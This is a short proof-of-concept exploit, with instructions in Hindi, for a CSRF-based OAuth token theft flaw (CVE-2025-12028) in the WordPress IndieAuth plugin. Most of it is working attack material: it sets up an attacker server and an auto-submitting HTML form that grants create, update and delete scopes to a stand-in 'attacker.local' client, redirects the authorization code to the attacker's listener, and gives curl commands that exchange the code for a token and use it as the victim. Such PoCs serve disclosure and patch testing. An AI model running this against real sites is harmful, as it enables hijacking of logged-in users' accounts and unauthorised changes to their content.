
CVE-2025-12028 के लिए अवधारणा-सिद्ध शोषण जो WordPress IndieAuth प्लगइन में CSRF-आधारित OAuth टोकन चोरी का प्रदर्शन करता है, चुराए गए क्रेडेंशियल्स के साथ अनधिकृत API पहुँच सक्षम करता है।
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000
/tmp/attacker/poc.html बनाएँ<!doctype html>
<html>
<body>
<form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
<input name="client_id" value="http://attacker.local/app">
<input name="redirect_uri" value="http://127.0.0.1:8000/cb">
<input name="state" value="csrf-12345">
<input name="response_type" value="code">
<input name="scope[]" value="create">
<input name="scope[]" value="update">
<input name="scope[]" value="delete">
</form>
<script>
document.getElementById('x').submit();
</script>
</body>
</html>
जबकि इसमें लॉग इन किया गया हो:
http://localhost/wordpress
खोलें:
http://127.0.0.1:8000/poc.html
उसी ब्राउज़र सत्र में।
ब्राउज़र निम्न कार्य करेगा:
http://127.0.0.1:8000/cb?code=...&state=csrf-12345
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-d "grant_type=authorization_code" \
-d "code=PASTE_CODE_FROM_STEP_4" \
-d "client_id=http://attacker.local/app" \
-d "redirect_uri=http://127.0.0.1:8000/cb"
JSON प्रतिक्रिया में निम्नलिखित फ़ील्ड होंगे:
access_tokenscopemerefresh_tokenयह टोकन अब प्रदत्त स्कोप के भीतर पीड़ित के रूप में कार्य करने के लिए उपयोग किया जा सकता है।
TOKEN="PASTE_ACCESS_TOKEN"
curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-H "Authorization: Bearer $TOKEN"